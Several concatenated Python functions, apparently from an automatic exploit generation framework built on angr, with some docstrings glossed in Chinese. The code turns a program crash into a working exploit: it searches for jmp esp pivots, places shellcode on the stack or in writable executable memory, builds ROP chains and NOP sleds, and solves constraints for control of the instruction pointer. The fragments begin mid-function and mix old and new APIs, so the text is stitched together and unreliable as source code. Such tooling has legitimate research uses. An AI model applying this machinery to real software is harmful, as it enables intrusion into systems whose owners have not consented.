self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) else: #controled region is above esp! """ prepare jmp_back code """ diff_addr = self.crash.state.se.any_int(self.crash.state.regs.esp) - region[0] - 4 if diff_addr >= len(shellcode_read): jmp_offset_plus_4 = 'jmp $-' + str(0x2 + diff_addr) # plus four to handle EIP's size jmp_offset_plus_4 = asm(jmp_offset_plus_4) jmp_back_len = len(jmp_offset_plus_4) """ add constrain to make sure ret is overwrited by jmp_back code """ #self.crash.state.add_constraints(self.crash.state.ip == jmp_esp_addr) constant_jmpesp = self.crash.state.memory.load(self.crash.state.regs.esp - 4,4) == self.crash.state.se.BVV(struct.pack('I',jmp_esp_addr)) self.crash.state.add_constraints(constant_jmpesp) constant_jmpback = self.crash.state.memory.load(self.crash.state.regs.esp,jmp_back_len) == self.crash.state.se.BVV(jmp_offset_plus_4) if self.crash.state.se.satisfiable(extra_constraints=(constant_jmpback,)): self.crash.state.add_constraints(constant_jmpback) for addr in range(region[0],region[0]+region[1]): shc_constraint = self.crash.state.memory.load(addr, len(shellcode_read)) == self.crash.state.se.BVV(shellcode_read) if self.crash.state.se.satisfiable(extra_constraints=(shc_constraint,)): self.crash.state.add_constraints(shc_constraint) break if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) if self.crash.state.satisfiable(): break else: constant_jmpesp = self.crash.state.memory.load(self.crash.state.regs.esp - 4,4) == self.crash.state.se.BVV(struct.pack('I',jmp_esp_addr)) self.crash.state.add_constraints(constant_jmpesp) for addr in range(self.crash.state.se.any_int(self.crash.state.regs.esp),region[0]+region[1]): shc_constraint = self.crash.state.memory.load(addr, len(shellcode_read)) == self.crash.state.se.BVV(shellcode_read) if self.crash.state.se.satisfiable(extra_constraints=(shc_constraint,)): self.crash.state.add_constraints(shc_constraint) break if not self.crash.state.satisfiable(): raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name) if self.crash.state.satisfiable(): break return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
def apply(self, use_nopsled=False, **kwargs): # When ASLR is disabled, there might be a difference between the stack pointer we see in angr and the stack # pointer in the target process. Here we calculate the difference between our SP and the real one in coredump. sp_difference = 0 if not self.crash.aslr and \ not self.crash.state.regs.sp.symbolic and \ self.crash.core_registers: if 'esp' in self.crash.core_registers: sp_difference = self.crash.core_registers['esp'] - \ self.crash.state.solver.eval(self.crash.state.regs.sp) l.debug("The difference between stack pointers is %#x bytes.", sp_difference) # can only exploit ip overwrites if not self.crash.one_of( [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]): raise CannotExploit("[%s] cannot control ip" % self.name) if not self.crash.project.loader.main_object.execstack: raise CannotExploit("[%s] stack is not executable" % self.name) # try to write shellcode into global memory shellcode = self.shellcode.get_default(**kwargs) # try to use a "jmp esp/call esp" # 1) find all pivots # 2) try each of the pivots with the constraint that the data below the stack is our shellcode # 3) done if not self.crash.project.loader.main_object.pic and not self.crash.state.regs.sp.symbolic: l.debug("try: jmp esp") ld = self.crash.project.loader pivots = [ x + ld.main_object.mapped_base for x in ld.main_object.memory.find(b'\xff\xe4') ] pivots += [ x + ld.main_object.mapped_base for x in ld.main_object.memory.find(b'\xff\xd4') ] code_constraint = self.crash.state.memory.load( self.crash.state.regs.sp, len(shellcode)) == shellcode for pivot in pivots: exp = self._attempt_jump([code_constraint], pivot) if exp is not None: return exp # try to write to some known memory address # 1) find a w+x region we can write to # 2) see if we can constrain its value to shellcode and the ip to that address # 3) done l.debug('try: shellcode in global data') shc_addr, shc_constraint = self._write_global_data(shellcode) if shc_addr is not None: exp = self._attempt_jump([shc_constraint], shc_addr) if exp is not None: return exp # try to see if we can jump directly to the stack # 1) check that aslr is disabled # 2) find all the regions on the stack that are touched by stdin # 3) find the largest of those regions that are not concretely constrained # 4) check that we can jump to the middle of a nopsled in one of them # 5) done if not self.crash.aslr: l.debug('try: absolute address in stack') base_stack_addrs = self.crash.stack_control() stack_addrs = {} for addr, size in base_stack_addrs.items(): root = None for subaddr in range(addr, addr + size): val = self.crash.state.memory.load(subaddr, 1) # TODO: This sucks. do a real approximation with something like DVSA. if any('aeg_stdin' in name for name in val.variables) and not \ any(c.op == '__eq__' for c in self.crash.state.solver.constraints if not c.variables - val.variables): if root is not None: stack_addrs[root] += 1 else: root = subaddr stack_addrs[root] = 1 else: root = None word_size = self.crash.state.arch.bits // self.crash.state.arch.byte_width for root in sorted(stack_addrs, key=lambda a: -stack_addrs[a]): if stack_addrs[root] < len(shellcode): continue # Where do we want to write the shellcode to? Note that we are not always able to write the shellcode # from the very beginning of root. Some smart probing is necessary. # FIXME: I'm not smart enough to do a smart probing. for offset in range(0, stack_addrs[root] - len(shellcode), word_size): sc_data = self.crash.state.memory.load( root + offset, len(shellcode)) sc_constraint = sc_data == shellcode if self.crash.state.solver.satisfiable( extra_constraints=(sc_constraint, )): break else: l.debug( "Cannot write shellcode in region %#x(%#x bytes). Probe the next region.", root, stack_addrs[root]) continue l.debug("We may write shellcode on the stack at %#x.", root + offset) if use_nopsled: nopsled_size = self._determine_nopsled_lenth( stack_addrs, root, offset, shellcode) else: nopsled_size = 0 # try the addresses in a spiral pattern addrs = list(range(nopsled_size + 1)) cur = len(addrs) // 2 for i in range(len(addrs)): if i % 2 == 0: cur += i else: cur -= i addr = root + offset + addrs[cur] adjusted_addr = addr + sp_difference exp = self._attempt_jump([sc_constraint], adjusted_addr, bypasses_aslr=False) if exp is not None: return exp # try to read shellcode into memory into one of the aforementioned addresses l.debug("try: read shellcode into global data") try: shc_addr, shc_constraint = self._read_in_global_data(shellcode) except CannotExploit as e: raise CannotExploit( "[%s] cannot call read (all other call-shellcodes failed)" % self.name) from e exp = self._attempt_jump([shc_constraint], shc_addr) if exp is not None: return exp raise CannotExploit("[%s] EVERYTHING FAILED" % self.name)
def __init__(self, binary, crash=None, pov_file=None, aslr=None, constrained_addrs=None, crash_state=None, prev_path=None, hooks=None, format_infos=None, rop_cache_tuple=None, use_rop=True, explore_steps=0, angrop_object=None): ''' :binary: path to the binary which crashed binary:待检测的程序 :crash: string of input which crashed the binary crash:造成程序崩溃的输入 :pov_file: CGC PoV describing a crash pov_file:CGC PoV文件,描述一个crash :aslr: analyze the crash with aslr on or off aslr:aslr开或关 :constrained_addrs: list of addrs which have been constrained during exploration constrained_addrs:在探索路径过程中被限制的地址 :crash_state: an already traced crash state crash_state:已经追踪过的crash状态 :prev_path: path leading up to the crashing block prev_path:到达crash块的路径 :hooks: dictionary of simprocedure hooks, addresses to simprocedures hooks:哪些地址不被执行 :format_infos: a list of atoi FormatInfo objects that should be used when analyzing the crash format_infos:aoti FormatInfo 对象,在分析crash时被使用 :rop_cache_tuple: a angrop tuple to load from rop_cache_tuple:angrop——rop gadget finder and chain builder :use_rop: whether or not to use rop use_rop:是否使用rop :explore_steps: number of steps which have already been explored, should only set by exploration methods explore_steps:已经被探索过的步数,只能被探索方法赋值 :angrop_object: an angrop object, should only be set by exploration methods angrop_object:angrop对象,只能被探索方法赋值 ''' self.binary = binary self.crash = crash self.pov_file = pov_file self.constrained_addrs = [ ] if constrained_addrs is None else constrained_addrs self.hooks = hooks self.explore_steps = explore_steps if self.explore_steps > 10: raise CannotExploit("Too many steps taken during crash exploration") self.project = angr.Project(binary) # we search for ROP gadgets now to avoid the memory exhaustion bug in pypy 现在寻找rop gadget,以防内存耗尽 # hash binary contents for rop cache name binhash存放rop缓存名 binhash = hashlib.md5(open(self.binary).read()).hexdigest() rop_cache_path = os.path.join("/tmp", "%s-%s-rop" % (os.path.basename(self.binary), binhash)) if use_rop: if angrop_object is not None: self.rop = angrop_object else: self.rop = self.project.analyses.ROP() if rop_cache_tuple is not None: l.info("loading rop gadgets from cache tuple") self.rop._load_cache_tuple(rop_cache_tuple) elif os.path.exists(rop_cache_path): l.info("loading rop gadgets from cache '%s'", rop_cache_path) self.rop.load_gadgets(rop_cache_path) else: self.rop.find_gadgets() self.rop.save_gadgets(rop_cache_path) else: self.rop = None self.os = self.project.loader.main_bin.os # determine the aslr of a given os and arch if aslr is None: if self.os == "cgc": # 本例没有CGC。cgc has no ASLR, but we don't assume a stackbase self.aslr = False else: # we assume linux is going to enfore stackbased aslr self.aslr = True else: self.aslr = aslr
def _ip_overwrite_with_chain(self, chain, state=None, assert_next_ip_controlled=False): ''' exploit an ip overwrite using rop :param chain: rop chain to use :param state: an optionally state to work off of :param assert_next_ip_controlled: if set we use heuristics to ensure control of the next ip :return: a tuple containing a new constrained chain and the address to place the chain ''' if state is None: state = self.crash.state sp = state.se.any_int(state.regs.sp) # first let's see what kind of stack control we have symbolic_stack = self._stack_control() if len(symbolic_stack) == 0: l.warning( "no controlled data beneath stack, need to resort to shellcode" ) raise CannotExploit("no controlled data beneath sp") chain_addr = None stack_pivot = None # loop until we can find a chain which gets us to our setter gadget for addr in symbolic_stack: # increase payload length by wordsize for the final ip hijack chain_req = chain.payload_len + self.crash.project.arch.bytes # is the space too small? if not symbolic_stack[addr] >= chain_req: continue # okay we have a symbolic region which fits and is below sp # can we pivot there? for gadget in self.rop.gadgets: # let's make sure the gadget is sane # TODO: consult state before throwing out a gadget, some of these memory # accesses might be acceptable if len(gadget.mem_changes + gadget.mem_writes + gadget.mem_reads) > 0: continue # if we assume all gadgets end in a 'ret' we can subtract 4 from the stack_change # as we're not interested in the ret's effect on stack movement, because when the # ret executes we'll have chain control jumps_to = sp + (gadget.stack_change - self.crash.project.arch.bytes) # does it hit the controlled region? if jumps_to >= addr and jumps_to < addr + symbolic_stack[addr]: # it lands in a controlled region, but does our chain fit? offered_size = symbolic_stack[addr] - (jumps_to - addr) if offered_size >= chain_req: # we're in! chain_addr = jumps_to stack_pivot = gadget scratch = state.copy() chain_cp = chain.copy() # test to see if things are still satisfiable chain_constraints = [] chain_constraints.append( state.regs.ip == stack_pivot.addr) # TODO: update rop to make this possible without refering to internal vars # we constrain our rop chain to being equal to our payload, preventing the chain builder # from putting illegal characters into positions we don't care about for cons in chain_cp._blank_state.se.constraints: scratch.add_constraints(cons) chain_bytes = chain_cp.payload_bv() payload_bytes = scratch.memory.load( chain_addr, chain.payload_len) scratch.add_constraints(chain_bytes == payload_bytes) chain_cp._blank_state = scratch mem = state.memory.load(chain_addr, chain_cp.payload_len) try: cbvv = state.se.BVV(chain_cp.payload_str()) except simuvex.SimUnsatError: # it's completely possibly that the values we need need in the chain can't exist due to # constraints on memory, for example if we need the value '1' to exist in our chain, when # our chain enter the process memory space with a 'strcpy', '1' cannot exist because its # value will contain null bytes continue # the chain itself cannot exist here chain_constraints.append(mem == cbvv) # if the chain can't be placed here, let's try again if not state.satisfiable( extra_constraints=chain_constraints): continue # extra checks for ip control if assert_next_ip_controlled: ip_bv = scratch.memory.load( chain_addr + chain.payload_len, self.crash.project.arch.bytes) if not state.satisfiable( extra_constraints=chain_constraints + [ip_bv == 0x41414141]): continue if not state.satisfiable( extra_constraints=chain_constraints + [ip_bv == 0x56565656]): continue # constrain eip to equal the stack_pivot state.add_constraints( state.regs.ip == stack_pivot.addr) return chain_cp, chain_addr raise CannotExploit("unable to insert chain")
def _ip_overwrite_call_shellcode(self, shellcode, variables=None): ''' exploit an ip overwrite with shellcode :param shellcode: shellcode to call :param variables: variables to check unconstrainedness of :return: tuple of the address to jump to, and address of requested shellcode in memory ''' # TODO inspect register state and see if any registers are pointing to symbolic memory # if any registers are pointing to symbolic memory look for gadgets to call or jmp there if variables is None: variables = [] # accumulate valid memory, this depends on the os and memory permissions valid_memory = {} # XXX don't handle ASLR elegantly at the moment, maybe when angr supports it we can query a page for randomness if not self.crash.aslr or self.crash.os == "cgc": for mem in self.crash.symbolic_mem: # ask if the mem is executable prots = self.crash.state.memory.permissions(mem) if self.crash.state.se.any_int(prots) & 4: # PROT_EXEC is 4 valid_memory[mem] = self.crash.symbolic_mem[mem] # XXX linux special case, bss is executable if the stack is executable if self.crash.project.loader.main_bin.execstack and self.crash.os == "unix": valid_memory.update(self._global_control()) # hack! max address hueristic for CGC for mem, _ in sorted(valid_memory.items(), \ key=lambda x: (0xffffffff - x[0]) + x[1])[::-1]: for mem_start in xrange( mem + valid_memory[mem] - (len(shellcode) / 8), mem, -1): # default jump addr is the shellcode jump_addr = mem_start shc_constraints = [] shc_constraints.append(self.crash.state.regs.ip == mem_start) sym_mem = self.crash.state.memory.load(mem_start, len(shellcode) / 8) shc_constraints.append(sym_mem == shellcode) # hack! TODO: make this stronger/more flexible for v in variables: shc_constraints.append(v == 0x41414141) if self.crash.state.satisfiable( extra_constraints=shc_constraints): # room for a nop sled? length = mem_start - mem if length > 0: # try to add a nop sled, we could be more thorough, but it takes too # much time new_nop_constraints = [] sym_nop_mem = self.crash.state.memory.load(mem, length) nop_sld_bvv = self.crash.state.se.BVV("\x90" * length) nop_const = sym_nop_mem == nop_sld_bvv # can the nop sled exist? new_nop_constraints.append(nop_const) # can the shellcode still exist? new_nop_constraints.append(sym_mem == shellcode) # can ip point to the nop sled? new_nop_constraints.append( self.crash.state.regs.ip == mem) if self.crash.state.satisfiable( extra_constraints=new_nop_constraints): jump_addr = mem return (jump_addr, mem_start) raise CannotExploit("no place to fit shellcode")